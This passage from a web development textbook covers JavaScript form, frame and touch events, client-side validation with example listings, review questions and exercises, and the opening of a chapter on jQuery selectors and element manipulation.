with touch screens. The different events (e.g., touchstart, touchmove, and
touchend) are analogous to some of the mouse events (mousedown,
mousemove, and mouseup). Unfortunately, at the time of writing, touch
events are only available by default in Chrome and iOS Safari. The user



needs to enable touch events in Edge and FireFox. Microsoft Edge does
support Pointer events, which is a new standard specification that is meant to
integrate mouse, touch screen, and pen input into a single event type.
However, at the time of writing, pointer events are only supported in Edge.

9.4.4 Form Events
Forms are the main means by which user input is collected and transmitted to
the server. Table 9.9 lists the different form events.

The events triggered by forms allow us to do some timely processing in
response to user input. The most common JavaScript listener for forms is the
submit event. In Listing 9.10, we listen for that event on a form with id
loginForm. If the password field (with id pw) is blank, we prevent submitting
to the server using preventDefault() and alert the user. Otherwise we do
nothing, which allows the default event to happen (submitting the form).

Listing 9.10 Catching the submit
event and validating a password to
not be blank
document.getElementById(“loginForm”).addEventListener('submit',

   function(e) {

    var pass = document.getElementById(“pw”).value;

    if (pass==“”)  {

         alert (“enter a password”);

         e.preventDefault();

    }

});

Section 9.5 will examine form event handling in more detail.



Extended Example
Now that we have covered the basics of working with events and the DOM,
we are going to put this knowledge to work in an extended example. In the
example.html page, an image is displayed with some related text as well as a
Hide button. Using some CSS filters and transitions along with some
JavaScript event handling, the example will fade the text in and out of
visibility when the user clicks on the button. As well, the example will apply
or remove a grayscale filter to the image when the user moves the mouse in
or out of the image.



9.4-10 Full Alternative Text
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9.4.5 Frame Events
Frame events (see Table 9.10) are the events related to the browser frame that
contains your web page. The most important event is the load event, which
tells us an object is loaded and therefore can be manipulated via the DOM. In
fact, every nontrivial event listener you write requires that the HTML be fully
loaded.

Table 9.10 Frame Events in
JavaScript
Event Description
abort An object was stopped from loading
error An object or image did not properly load
load When a document or object has been loaded
resize The document view was resized
scroll The document view was scrolled
unload The document has unloaded
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Exercise
Responding to Load Events

As mentioned at the end of Section 9.2, a problem can occur if the JavaScript
tries to programmatically reference a DOM element that has not yet been



loaded. If the code attempts to set up a listener on this not-yet-loaded <div>
element then an error will be triggered. For this reason, it is common practice
to use the load event of the window object to trigger the execution of the rest
of the page's scripts, as shown in Listing 9.11.

Listing 9.11 Using the page's load
event
window.addEventListener(“load”, function() { 

   // the DOM can be safely manipulated within this function 

   // …

});

This code will only run once the page is fully loaded and therefore all
references to the page's HTML elements will be valid.



9.5 Forms
Chapter 5 covered the HTML for data entry forms. In that chapter, it was
mentioned that user form input should be validated on both the client side and
the server side. It will soon be time for us to look at how we can use
JavaScript for this task. But JavaScript within forms is more than just the
client-side validation of form data; JavaScript is also used to improve the user
experience of the typical browser-based form.
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As a result, when working with forms in JavaScript, we are typically
interested in three types of events: movement between elements, data being
changed within a form element, and the final submission of the form. The
remainder of this chapter provides some examples for working with each of
these form events. Each of these examples will work from the sample form in
Listing 9.12 (you can see what this form looks like in the browser in Figure
9.13 ). This example makes use of CSS classes defined by the popular Font
Awesome toolkit (http://fontawesome.io/) for the icons used in the form.

http://fontawesome.io/




Figure 9.13 Responding to the
focus and blur events

Figure 9.13 Full Alternative Text

Listing 9.12 A basic HTML form
<form method=“post” action=“login.php” id=“loginForm”>

    <label class=“icon” for=“username”><i class=“fa fa-user fa-fw”>       </i></label>

    <input type=“text” name=“username” id=“username” placeholder=“User       Name” />

    <label class=“icon” for=“email”><i class=“fa fa-envelope fa-fw”>       </i></label>

    <input type=“text” name=“email” id=“email” placeholder=“Email” />   

    

    <label class=“icon” for=“pass”><i class=“fa fa-key fa-fw”></i>       </label>

    <input type=“password” name=“pass” id=“pass” placeholder=“Password” />

    <label class=“icon” for=“region”><i class=“fa fa-home fa-fw”></i>       </label>

    <input type=“radio” name=“region” id=“region” value=“Europe”

       class=“bigRadio”><span>Europe</span>

    <input type=“radio” name=“region” id=“region” value=“United States” 

       class=“bigRadio”><span>United States</span>

    <label class=“icon” for=“options”>

       <i class=“fa fa-fw” id=“optLabel”></i></label>

    <select name=“options” id=“options”></select>

    <label class=“icon” id=“long” for=“save”>

       <i class=“fa fa-database fa-fw”></i> Remember Me</label>

    <input type=“checkbox” name=“save” id=“save” class=“bigCheckBox” />

    <button type=“submit” ><i class=“fa fa-reply fa-fw”></i> Register       </button> 

</form>

<div id=“errors” class=“hidden”></div>

9.5.1 Responding to Form



Movement Events
Table 9.9 listed the different form events that we can respond to in
JavaScript. The blur and focus events trigger whenever a form control loses
the focus (e.g., the user can no longer change its content or trigger the
control) or gains the focus (the user can change its content or trigger the
control). One typical use of these events is to dynamically change the
appearance of the control that has the focus. For instance, the code shown in
Figure 9.13 assigns the setBackground() function to change the background
color of the control depending upon whether it has the focus, as shown in the
sample screen captures.

9.5.2 Responding to Form Changes
Events
One of the great benefits of JavaScript is that we can quickly make changes
to the page without making a round trip to the server. This capability is often
present within data-entry forms. We may want to change the options
available within a form based on earlier user entry. For instance, in the
example form in Listing 9.12, we may want the payment options to be
different based on the value of the region radio button. Figure 9.14
demonstrates how we can add event listeners to the change event of the radio
buttons; when one of these buttons changes its value, then the callback
function will set the available payment options based on the selected region.
The listing also changes the associated payment label as well.





Figure 9.14 Responding to the
change events

Figure 9.14 Full Alternative Text

9.5.3 Validating a Submitted Form
Form validation continues to be one of the most common applications of
JavaScript. Checking user inputs to ensure that they follow expected rules
must happen on the server side for security reasons (in case JavaScript was
circumvented); checking those same inputs on the client-side using
JavaScript will reduce server load and increase the perceived speed and
responsiveness of the form. There are a number of common validation
activities including email validation, number validation, and data validation.
In practice regular expressions (covered in Chapter 15) are used to concisely
implement many of these validation checks. However, the novice
programmer may not be familiar or comfortable using regular expressions,
and will often resort to copying one from the Internet, without understanding
how it works, and therefore, will be unable to determine if it is correct. In this
chapter, we will write basic validation scripts without using regular
expressions to demonstrate how client-side validation in JavaScript works,
leaving complicated regular expressions until Chapter 15.
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Empty Field Validation
A common application of a client-side validation is to make sure the user
entered something into a field (or selected a value). There's certainly no point
sending a request to log in if the username was left blank, so why not prevent
the request from working? The way to check for an empty field in JavaScript
is to compare a value to both null and the empty string (“”), as shown in
Listing 9.13.

Listing 9.13 A simple validation
script to check for empty fields
document.getElementById(“loginForm”).addEventListener(“submit”, 

  function(e) {

     var fieldValue = document.getElementById(“username”).value;

     if (fieldValue == null  ||  fieldValue == “”) {

         // the field was empty. Stop form submission 

         e.preventDefault();

         // Now tell the user something went wrong 

         alert(“you must enter a username”);

     }

});

Empty field validation operates a bit differently for checkboxes, radio
buttons, and select lists. To ensure that a checkbox or button is ticked or
selected, you will have to examine its checked property, as shown in the
following example:

var rememberMe = document.getElementById(“save”);

if (! rememberMe.checked) {

   // if here then the checkbox was not checked 

   alert(“Remember me was not checked”);

}

var radios = document.querySelectorAll(“input[name=region]”);

for (var i=0; i < radios.length; i++) {

    if (radios[i].checked) {

        // if here then this radio button was selected

        alert(radios[i].value  + “ was checked”);    



    }

} 

For <select> lists, there are different ways to check if an item in the list has
been selected. If the list is in the default state (that is, it contains no <option>
elements), then its selectedIndex property will be -1. However, if there are
<option> elements, then the selectedIndex property will have a value of 0
(see Figure 9.15 ).

Figure 9.15 Properties of a
select list

Figure 9.15 Full Alternative Text



For this reason, it is common to make the first item in a <select> list
equivalent to the default state, as shown in the following example:

<select id=“countries”>

  <option value=“0”>Select a country</option>

  <option value=“12”>Canada</option>

  …

</select> 

We now have a second way to check if the user has selected an item from this
list: we can now use the value property as well as the selectedIndex
property:

if (document.getElementById(“countries”).value === 0) {

   alert(“Please select a country”);

}

In the case of a <select> list that supports the selection of multiple items
(that is, if the multiple attribute has been set), you will not be able to use the
value property since it only returns the first selected value. In such a case,
you will have to use either the options property (in older browsers) or the
newer selectedOptions property, since that returns an array containing the
selected options, as shown in Listing 9.14.

Number Validation
Number validation can take many forms. You might be asking users for their
age for example, and then allow them to type it rather than select it.
Unfortunately, no simple functions exist for number validation like one might
expect from a full-fledged library. Using parseInt(), isNAN(), and
isFinite(), you can write your own number validation function.

Listing 9.14 Determining which
items in multiselect list are selected
var multi = document.getElementById(“listbox”);



// using the options technique is more work but supported everywhere 

// it loops through each option and check if it is selected 

for (var i=0; i < multi.options.length; i++) {

    if (multi.options[i].selected) {

        // this option was selected, do something with it … 

        alert(multi.options[i].textContent);

    }

}          

// the selectedOptions technique is simpler … 

// it only loops through the selected options 

for (var i=0; i < multi.selectedOptions.length; i++) {

    alert(multi.selectedOptions[i].textContent);

} 

Part of the problem is that JavaScript is dynamically typed, so “2” !== 2, but
“2”==2. jQuery and a number of programmers have worked extensively on
this issue and have come up with the function isNumeric() shown in Listing
9.15. Note: This function will not parse “European” style numbers with
commas (i.e., 12.00 vs. 12,00).

Listing 9.15 A function to test for a
numeric value
function isNumeric(n) {

    return !isNaN(parseFloat(n)) && isFinite(n);

}

More involved examples to validate email, phone numbers, or social security
numbers would include checking for blank fields and making use of
isNumeric and regular expressions as illustrated in Chapter 15.

9.5.4 Submitting Forms
Submitting a form using JavaScript requires having a node variable for the
form element. Once the variable, say, formExample is acquired, one can
simply call the submit() method:



var formExample = document.getElementById(“loginForm”);

formExample.submit();

This is often done in conjunction with calling preventDefault() on the
submit event. This can be used to submit a form when the user did not click
the submit button, or to submit forms with no submit buttons at all (say we
want to use an image instead). Also, this can allow JavaScript to do some
processing before submitting a form, perhaps updating some values before
transmitting.

It is possible to submit a form multiple times by clicking buttons quickly,
which means your server-side scripts should be designed to handle that
eventuality. Clicking a submit button twice on a form should not result in a
double order, double email, or double account creation, so keep that in mind
as you design your applications.

Dive Deeper

AJAX
Most contemporary forms now take advantage of JavaScript's ability to make
asynchronous requests (briefly mentioned in Section 8.1.3 of the last
chapter). You will eventually learn how to program these asynchronous data
requests in Chapter 10. For now, however, we should say a few words about
how asynchronous requests are different from the normal HTTP request—
response loop.

You might want to remind yourself about how the “normal” HTTP request-
response loop looks. Figure 9.16 illustrates the processing flow for a page
that requires updates based on user input using the normal synchronous non-
AJAX page request-response loop.



Figure 9.16 Normal HTTP
request-response loop

Figure 9.16 Full Alternative Text



As you can see in Figure 9.16 , such interaction requires multiple requests to
the server, which not only slows the user experience, it puts the server under
extra load, especially if, as the case in Figure 9.16 , each request is invoking a
server-side script.

With ever-increasing access to processing power and bandwidth, sometimes
it can be really hard to tell just how much impact these requests to the server
have, but it's important to remember that more trips to the server do add up,
and on a large scale this can result in performance issues.

But as can be seen in Figure 9.17 , when these multiple requests are being
made across the Internet to a busy server, then the time costs of the normal
HTTP request-response loop will be more visually noticeable to the user.





Figure 9.17 Normal HTTP
request-response loop, take two

Figure 9.17 Full Alternative Text

AJAX provides web authors with a way to avoid the visual and temporal
deficiencies of normal HTTP interactions. With AJAX web pages, it is
possible to update sections of a page by making special requests of the server
in the background, creating the illusion of continuity. Figure 9.18 illustrates
how the interaction shown in Figure 9.16 would differ in an AJAX-enhanced
web page.





Figure 9.18 Asynchronous data
requests

Figure 9.18 Full Alternative Text



9.6 Chapter Summary
This chapter covered the rest of the knowledge and techniques needed for
practical JavaScript programming. It began with the Document Object
Model, knowledge of which is essential for almost any real-world JavaScript
programming. As we saw, the DOM can be used to dynamically manipulate
an HTML document. The chapter then built on that DOM knowledge and
covered event handling. We learned about the different approaches to
handling events as well as the different event types. Some form-handling
examples were also illustrated. The reader is now ready for the advanced
asynchronous JavaScript and jQuery libraries that will be introduced in
Chapter 10.

9.6.1 Key Terms
blur

Document Object Model (DOM)

document root

DOM document object

DOM tree

element node

event

event bubbling

event delegation

event handler



event listener

event object

event propagation

event type

focus

form events

frame events

keyboard events

linter

mouse events

node

selection methods

touch events

9.6.2 Review Questions
1. What are some key DOM objects?

2. What are the five key DOM selection methods? Provide an example of
each one.

3. Assuming you have the HTML shown in Listing 9.12, write the DOM
code to select all the text within <label> elements that have
class=icon. Write the code as well to select all the <input> elements
with type=text.



4. Why are the DOM family relations properties (e.g., firstChild,
nextSibling, etc.) less reliable than the DOM selection methods when
it comes to selecting elements?

5. Assuming you have the HTML shown in Figure 9.4 , write the DOM
code to change the dates shown within the first <time> element to the
current date. Also, write the DOM code to add a new <li> element
(along with a link and country text) to the <nav> element.

6. Why is the event listener approach to event handling preferred over the
other two approaches?

7. What is event delegation? What benefits does it potentially provide?

8. Assuming you have the HTML shown in Figure 9.4 and the CSS classes
shown in Figure 9.5 , write the event handling code which will toggle
(add or remove) the CSS class box to the <footer> element whenever
the user clicks one of the <li> elements within the <nav> element.

9. Why is JavaScript form validation not sufficient when validating form
data?

10. How do AJAX requests differ from normal requests in the HTTP
request-response loop?

9.6.3 Hands-On Practice

Project 1: Art Store

Difficulty Level: Beginner

Overview



You will demonstrate your ability to respond to events, select and modify
elements via the DOM, and to validate form data.

Hands-on Exercises
Project 9.1

Instructions
1. You have been provided with the HTML file (chapter09-project01.html)

that represents the data entry form shown in Figure 9.19 . Examine this
file in browser.





Figure 9.19 Finished project
1

Figure 9.19 Full Alternative Text

2. You will notice that some of the form elements have the CSS class
hilightable specified in their class attribute. Add listeners to the
focus and blur events of all elements that have this hilightable class.
In your event handlers for these two events, simply toggle the class
highlight (which is in the provided CSS file). This will change the
styling of the current form element. Be sure to set up these listeners after
the page has loaded.

3. You will notice that some of the form elements have the CSS class
required specified in their class attribute. We will not submit the form
if these elements are empty. Add an event handler for the submit event
of the form. In this handler, if any of the required form elements are
empty, add the CSS class error to any of the empty elements. As well,
cancel the submission of the form (hint: use the preventDefault()
method).

4. Add the appropriate handler for these required controls that will remove
the CSS class error that have changed content.

Test
1. Test the form in the browser. Verify the highlighting functionality works

by tabbing from field to field. Try submitting the form with blank fields
to verify the error formatting works. Verify the error formatting is
removed if you add content and then resubmit.



Project 2: Share Your Travel
Photos

Difficulty Level: Intermediate

Overview
You will demonstrate your ability to use the DOM and to handle events using
both event delegation and “regular” event handling.

Instructions

Hands-on Exercises
Project 9.2

1. Examine chapter09-project02.html. You will add event handlers to the
thumbnail images and to the larger image. You will not need to make
any changes to the supplied markup or CSS.

2. All of your event handlers must execute only after the page has loaded.

3. You are going to add a click event handler to each of the thumbnail
images. When the smaller image is clicked, your code will show the
larger version of the image in the <img> element within the <figure>
element. This same event handler will also set the <figcaption> text of
the <figure> to the clicked thumbnail image's title attribute. Your event
handler must use event delegation (i.e., the click event handler will be
attached to the <div id=“thumbnails”> element and not to the



individual <img> elements).

4. You must also add event handlers to the mouseover and mouseout events
of the <figure> element. When the user moves the mouse over the
larger image, then you will fade the <figcaption> element to about
80% opacity (its initial CSS opacity is 0% or transparent/invisible).
When the user moves the mouse out of the figure, then fade the
<figcaption> back to 0% opacity. You can set the opacity of an
element in JavaScript by setting its style .opacity property.

5. You can animate (for instance, a fade is an animation) any CSS setting
(such as opacity) in JavaScript by setting its style.transition
property. For instance, in JavaScript, setting an object's transition style
property to “opacity 1s” tells the browser to transition the opacity to its
next setting across one second.

Test
1. Verify the page changes the larger image when you click on a

thumbnail. Hover the mouse over the large image to verify that the
caption fades into visibility, and that it fades to invisibility when the
mouse moves out of the image (see Figure 9.20 ).



Figure 9.20 Finished project
2

Figure 9.20 Full Alternative Text

Project 3: CRM Admin

Difficulty Level: Advanced

Overview



Write a helper script that uses recursion and which could potentially be used
on any web page to visually identify the tag name of all elements on a page.
Recursion as a programming topic was not covered in this chapter, so this
project is only suitable for a programmer already familiar with the technique.

Hands-on Exercises
Project 9.3

Instructions
1. Examine chapter09-project03.html. You will add event handlers to the

two buttons at the bottom of the page. You will not need to make any
changes to the supplied markup or CSS. All of your event handlers must
execute only after the page has loaded.

2. The handler for the Highlight Nodes button should navigate every
element in the DOM, and for each element within the body, determine
whether it is an element node (nodeType == 1) element.

3. If it is an element node, add a new child node to it. This child node
should be <span> element with the class=hoverNode. Its innerText
should be equal to its parent's tag name.

4. Add an event listener for this child node so that when the user clicks on
the new span, an alert popup displays the details the following
information about its parent node: id, tag name, class name, and inner
HTML.

5. The Highlight Nodes button should hide when the user clicks on it. The
Hide Highlight button should then be displayed. When the page is first
displayed, the Hide Highlight button should be hidden.

6. When the user clicks the Hide Highlight button, all the <span> elements



with class=hoverNode should be removed. The Hide Highlight button
should then be hidden, and the Highlight Nodes button should be
displayed.

Test
1. Test by clicking the Highlight Nodes button and the Hide Highlight

button (see Figure 9.21 ).



Figure 9.21 Finished project
3

Figure 9.21 Full Alternative Text
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10 JavaScript 3: Extending
JavaScript with jQuery



Chapter Objectives
In this chapter you will learn …

About JavaScript frameworks such as jQuery

How to post files asynchronously with JavaScript

How jQuery can be used to animate page elements

Now that you have learned the fundamentals of JavaScript, you are ready to
extended JavaScript using the jQuery framework. Building on top of the
syntax from regular JavaScript, jQuery is a very popular framework that
expands functionality by providing developers with access to cross-browser
animation tools, user interface elements and DOM manipulation functions.
Learning about frameworks, and jQuery in particular, will allow you to
amplify your development skills, using ever maturing frameworks that
provide new and increasingly expected functionality.



10.1 jQuery Foundations
A library or framework is a reusable software environment which you can
use in your own software and which provides specific functionality that
improves the speed or reliability of the development process. Most web
frameworks provide features needed by web developers, such as ways to
interact with HTTP headers, AJAX communication, authentication, DOM
manipulation, and handling browser differences. This chapter focuses on the
most popular of all JavaScript libraries: the open-source jQuery.

jQuery's beginnings date back to August 2005, when jQuery founder John
Resig was looking into how to better combine CSS selectors with succinct
JavaScript notation.1 Within a year, AJAX and animations were added, and
the project has been improving ever since. Additional modules (like the
popular jQuery UI extension and recent additions for mobile device support)
have considerably extended jQuery's abilities. Many developers find that
once they start using a framework like jQuery, there's no going back to
“pure” JavaScript because the framework offers so many useful shortcuts and
succinct ways of doing things. jQuery is the most popular JavaScript library
currently in use as supported by the statistics in Figure 10.1 .



Figure 10.1 Comparison of the
most popular JavaScript
frameworks (data courtesy of
BuiltWith.com)

Figure 10.1 Full Alternative Text

jQuery bills itself as the write less, do more framework.2 According to its
website

jQuery is a fast, small, and feature-rich JavaScript library. It makes
things like HTML document traversal and manipulation, event handling,
animation, and Ajax much simpler with an easy-to-use API that works

http://BuiltWith.com


across a multitude of browsers. With a combination of versatility and
extensibility, jQuery has changed the way that millions of people write
JavaScript.

Another key benefit of jQuery is the large third-party jQuery plugin
ecosystem. Whether it be animation effects, image carousels and galleries,
form extensions, charting, page transitions, or responsive helpers, there are
thousands of jQuery libraries to choose from that you can plug-in to your site
simply by providing a <script> reference to it and a small amount of jQuery
coding.

While these already-existing jQuery plugins can easily enhance the visual
sophistication of your user interfaces, to really benefit from jQuery power,
you must go beyond using others' works, and learn jQuery in some depth. It
should be noted that ideas and syntax learned in Chapters 8 and 9 will still be
used since jQuery is still JavaScript and makes use of the loops, conditionals,
variables, and prototypes of that language.

10.1.1 Including jQuery
Since the entire library exists as a source JavaScript file, importing jQuery for
use in your application is as easy as including a link to a file in the <head>
section of your HTML page. If you go to the jQuery website, you will notice
that there are several different versions available. There are regular and
minified versions as well as a slim build. The minified version would be used
for production sites, since it removes all comments and additional white
space in order to be as small as possible; however, when debugging, it is
often nice to have that extra information, so we recommend sticking with the
normal, non-minified version when learning jQuery. The slim version
removes all code pertaining to AJAX and visual effects. While we will be
using those features, some web projects may not need this functionality or
prefer to use some other JavaScript library for these features: in such a case
the slim build makes sense.

You can either decide to download a version of jQuery and use it in your
projects, or instead link to the jQuery file that is hosted on a third-party



content delivery network (CDN). Using a CDN is advantageous for several
reasons. Firstly, the bandwidth of the file is offloaded to reduce the demand
on your servers. Secondly, the user may already have cached the third-party
file and thus not have to download it again, thereby reducing the total loading
time. This probability is increased when using a CDN provided by Google
rather than a developer-focused CDN like jQuery.

A disadvantage to the third-party CDN is that your jQuery will fail if the
third-party host is down, although that is unlikely given the mission-critical
demands of large companies like Google and Microsoft.

To achieve the benefits of the CDN and increase reliability on the rare
occasion it might be down, you can write a small piece of code to check if the
attempt to load jQuery via a CDN was successful. If not, you can load the
locally hosted version. This setup would be included in the <head> section of
your HTML page as shown in Listing 10.1.

Listing 10.1 jQuery loading using a
CDN and a local fail-safe if the CDN
is offline
<script src=“http://code.jquery.com/jquery-3.1.0.min.js”></script>

<script type=“text/javascript”> 

window.jQuery ||

document.write('<script src=“/jquery-3.1.0.min.js”><\/script>');

</script>

Note
If you visit the jQuery web page, you may notice that there are actually
several jQuery frameworks: jQuery Core, jQuery UI, and jQuery Mobile.
This chapter is focused on jQuery Core.



10.1.2 jQuery Selectors
One of the most common tasks in JavaScript is the programmatic selection of
DOM elements. jQuery provides a powerful and simple mechanism for
selecting elements. You may recall from Chapter 9, that JavaScript has a
variety of functions for selecting an element, such as getElementByID() and
querySelector(). Although the querySelector() and querySelectorAll()
functions now allow you to select DOM elements based on CSS selectors,
developers have only been able to assume these functions are available in
most user's browsers since about 2014 (IE 8 and earlier didn't fully support
these functions). One of the reasons for jQuery's initial popularity was that it
provided a simple cross-browser way for programmers to programmatically
select an element using regular CSS selectors.

Hands-on Exercises Lab 10
Exercise
Set Up jQuery

The power of jQuery resides in the function named jQuery(). This function
takes one or two arguments and provides a wide variety of different
properties and methods. It also defines an alias for this function named $().
For instance, these two lines are equivalent (what they actually do will be
explained in a few more paragraphs).

temp = jQuery('body');

temp = $('body');

This $() syntax can be confusing to PHP developers at first, since in PHP the
$ symbol indicates a variable. Nonetheless, almost all jQuery developers
prefer to use the alias, and we will use it throughout this chapter.

You can combine CSS selectors with the $() notation to select DOM objects
that match CSS attributes. Pass in the string of a CSS selector to $() and the



result will be the set of DOM objects matching the selector. You can use the
basic selector syntax from CSS, as well as some additional ones defined
within jQuery. Listing 10.2 demonstrates how jQuery compares to regular
JavaScript selection. As you can see, the jQuery approach is quite economical
in terms of the typing involved!

Listing 10.2 JavaScript versus
jQuery selection
<p id=“here”>hello <span>there</span></p>

<ul>

   <li>France</li>

   <li>Spain</li>

   <li>Thailand</li>

</ul>

<script>

/* selecting using regular JavaScript */

var node = document.getElementById(“here”);

var link = document.querySelectorAll(“ul li”);

/* equivalent selection using jQuery */

var node = $(“#here”);

var link = $(“ul li”);

</script>

So what does the $() function return? You may recall that the
getElementByID() function returns an Element object, while
querySelectorAll() returns a NodeList object. The $() function returns
instead the jQuery set object, which is an array-like structure that contains a
set of DOM elements that match the selector.

Note
The $() function always returns a set of results, rather than a single object.
This is easy to miss and can be a source of unexpected frustration. For
instance, you might retrieve something that is a singular (for instance the



<body> element) via the following code:

temp = $('body');

However, since the $() function always returns a set of results, to access this
element you must reference it as the 0th array element, as shown below:

var b = temp[0];

Nonetheless, the fact that jQuery always returns an array is actually one of its
strengths: all of its methods work the same regardless of whether a selector
returns a single value or multiple values.

Listing 10.3 Manipulating after a
selection: JavaScript versus jQuery
/* manipulating after a selection -- using regular JavaScript   */

document.getElementById(“here”).innerHTML = “new content”;    

var items = document.querySelectorAll(“ul li”);     

for (var i=0; i<items.length; i++) {

   items[i].style.backgroundColor = “yellow”;   

} 

/* manipulating after a selection -- using jQuery   */ 

$(“#here”).html(“new content”);

$(“ul li”).css(“background-color”, “yellow”);

Once you have selected in jQuery what can you do with the result? You may
remember from Chapter 9 that once an element was selected in JavaScript,
you could do many things, such as access properties, change classes, modify
content, or attach event listeners. You can do all those same tasks using
jQuery as well. For instance, Listing 10.3 illustrates the JavaScript and
jQuery equivalents for programmatically changing the CSS for the markup
shown in Listing 10.2.

As you can see, jQuery allows you to chain function calls together just like
regular DOM manipulation in JavaScript. In general, jQuery allows you to do
similar things as JavaScript but in a more succinct manner due to the power



of the functions defined within jQuery. Notice that the css() function applied
the change to every selected element, thus there was no need to write a loop
as with the JavaScript version.

Basic Selectors
The four basic selectors were defined back in Chapter 4, and include the
universal selector, class selectors, id selectors, and elements selectors. The
implementation of selectors in jQuery purposefully mirrors the CSS
specification, which is especially helpful since CSS is something you have
learned and used throughout this book:

$(“*”)—Universal selector matches all elements (and is slow).

$(“tag”)—Element selector matches all elements with the given element
name.

$(“.class”)—Class selector matches all elements with the given CSS
class.

$(“#id”)—Id selector matches all elements with a given HTML id
attribute.

For example, to select the single <div> element with id=“grab” you would
write:

var singleElement = $(“#grab”);

To get a set of all the <a> elements the selector would be:

var allAs = $(“a”);

In addition to these basic selectors, you can use the other CSS selectors that
were covered in Chapter 4: attribute selectors, pseudo-element selectors, and
contextual selectors as illustrated in Figure 10.2 . The remainder of this
section reviews some of these selectors and how they are used with jQuery.



Figure 10.2 Illustration of some
jQuery selectors and the
HTML being selected

Figure 10.2 Full Alternative Text



Hands-on Exercises Lab 10
Exercise
Basic Selectors

Attribute Selector
An attribute selector provides a way to select elements by either the presence
of an element attribute or by the value of an attribute. A list of sample CSS
attribute selectors was given in Chapter 4 (Table 4.4), but to jog your
memory with an example, consider a selector to grab all <img> elements with
an src attribute beginning with /artist/:

var artistImages = $(“img[src^='/artist/']”);

Recall that you can select by attribute with square brackets ([attribute]),
specify a value with an equals sign ([attribute=value]) and search for a
particular value in the beginning, end, or anywhere inside a string with ^, $,
and * symbols, respectively ([attribute^=value], [attribute$=value],
[attribute*=value]).

Pseudo-Element Selector
Pseudo-elements are special elements, which are special cases of regular
ones. As you may recall from Chapter 4, these pseudo-element selectors
allow you to append to any selector using the colon and one of :link,
:visited, :focus, :hover, :active, :checked, :first-child, :first-line,
and :first-letter.

These selectors can be used in combination with the aforementioned
selectors, or alone. Selecting all links that have been visited, for example,
would be specified with:



var visitedLinks = $(“a:visited”);

Since this chapter reviews and builds on CSS selectors, you are hopefully
remembering some of the selectors you have used earlier and are making
associations between those selectors and the ones in jQuery.

Contextual Selector
Another powerful CSS selector included in jQuery is the contextual selectors,
introduced in Chapter 4. These selectors allowed you to specify elements
with certain relationships to one another in your CSS. These relationships
included descendant (space), child (>), adjacent sibling (+), and general
sibling (~).

To select all <p> elements inside of <div> elements you would write

var para = $(“div p”);

jQuery Filters
Filters are special jQuery selectors that work with the other CSS selectors.
They start with the colon (:) character and some take parameters much like
the nth-child() selector in CSS. The jQuery documentation divides them
into three categories: basic filters, child filters, and content filters. While
there are too many filters to cover here, let's take a look at a few of them to
get a feeling for the kinds of extensibility that jQuery provides to the task of
selecting elements. Listing 10.4 illustrates a simple but effective use of
jQuery filters for programmatically styling rows in a table.

Hands-on Exercises Lab 10
Exercise



Advanced Selectors

The jQuery content filters provide additional selection power. You can select
elements that have a particular child using :has(), have no children using
:empty, or match a particular piece of text with :contains(). Consider the
following example:

var allWarningText = $(“body *:contains('warning')”);

It will return a list of all the DOM elements with the word warning inside of
them. You might imagine how we may want to highlight those DOM
elements by coloring the background red as shown in Figure 10.3 with one
line of code:

Figure 10.3 An illustration of
jQuery's content filter selector

Figure 10.3 Full Alternative Text

$(“body *:contains('warning')”).css(“background-color”, “#aa0000”);



Listing 10.4 Sample jQuery selector
filters
<table>

  <tr><td>Row 0</td></tr>

  <tr><td>Row 1</td></tr>

  <tr><td>Row 2</td></tr>

  <tr><td>Row 3</td></tr>

  <tr><td>Row 4</td></tr>

</table>

<script>

/* changes the background color of the even rows */

$(“table tr:even”).css(“background-color”, “#CFD8DC”);

/* changes the text color for rows 4 through N */

$(“table tr:gt(3)”).css(“color”, “#DD2C00”);

</script>

Form Selectors
Since form HTML elements are frequently used to collect and transmit data,
there are jQuery selectors written especially for them. These selectors, listed
in Table 10.1, allow for quick access to certain types of field as well as fields
in certain states.

Table 10.1 jQuery Form
Selectors and Their CSS
Equivalents When Applicable

Selector CSS Equivalent Description

$(“:button”)
button,

input[type='button']
Selects all buttons.

$(“:checkbox”) [type=checkbox] Selects all checkboxes.



$(“:checked”) No equivalent

Selects elements that are
checked. This includes
radio buttons and
checkboxes.

$(“:disabled”) No equivalent

Selects form elements
that are disabled. These
could include <button>,
<input>, <optgroup>,
<option>, <select>, and
<textarea>.

$(“:enabled”) No equivalent

Opposite of :disabled.
It returns all elements
where the disabled
attribute=false as well as
form elements with no
disabled attribute.

$(“:file”) [type=file]
Selects all elements of
type file.

$(“:focus”) No equivalent The element with focus.

$(“:image”) [type=image]
Selects all elements of
type image.

$(“:input”) No equivalent

Selects all <input>,
<textarea>, <select>,
and <button> elements.

$(“:password”) [type=password]
Selects all password
fields.

$(“:radio”) [type=radio]
Selects all radio
elements.

$(“:reset”) [type=reset]
Selects all the reset
buttons.

$(“:selected”) No equivalent

Selects all the elements
that are currently
selected of type
<option>. It does not
include checkboxes or



radio buttons.

$(“:submit”) [type=submit]
Selects all submit input
elements.

$(“:text”) No equivalent

Selects all input
elements of type text.
$('[type=text]') is
almost the same, except
that $(:text) includes
<input> fields with no
type specified.

10.1.3 Common Element
Manipulations in jQuery
With all of the selectors described in this chapter, you can select any set of
elements that you want from a web page. Once selected, you can then
manipulate them in a wide variety of ways.

Pro Tip
When efficiency (i.e., speed of rendering) is an important consideration, use
“pure” CSS selector syntax rather than these shortcuts. This means
$('[type=password]') will be faster than $(:password) in many situations,
although querySelectorAll() is even more efficient.

Another speed consideration for these selectors is that they by default search
the entire DOM tree. This means $(“:focus”) is equivalent to
$(“*:focus”). To improve efficiency, be as specific as possible in your
selectors to reduce the amount of DOM traversal.

The html() method is an easy way retrieve and manipulate the HTML
contents (the part between the <> and </> tags associated with the innerHTML
property in JavaScript) of a selected element.



// retrieve the content

var content = $(“#sample”).html();

// modify the content of an element

$(“#sample”).html(“brand new content”);

// modify the content of ALL <p> elements

$(“p”).html(“jQuery is fun”);

The html() method should be used with caution since the innerHTML of a
DOM element can itself contain nested HTML elements! When replacing
DOM with text, you may inadvertently introduce DOM errors since no
validation is done on the new content (the browser wouldn't want to
presume). We will cover formal jQuery DOM manipulation below in Section
10.3.

Just as jQuery provides an easy way to work with the content of an element,
it also provides easy ways to manipulate an element's properties and
attributes.

HTML Attributes
The core set of attributes related to DOM elements are the ones specified in
the HTML tags described in Chapter 3. By now, you have frequently used
key attributes like the href attribute of an <a> tag, the src attribute of an
<img>, or the class attribute of most elements.

In jQuery, we can both set and get an attribute value by using the attr()
method on any element returned from a selector. This function takes a
parameter to specify the attribute name, and the optional second parameter
lets you specify a value for modifying the attribute. If no second parameter is
passed, then method returns the current value of the attribute. Some example
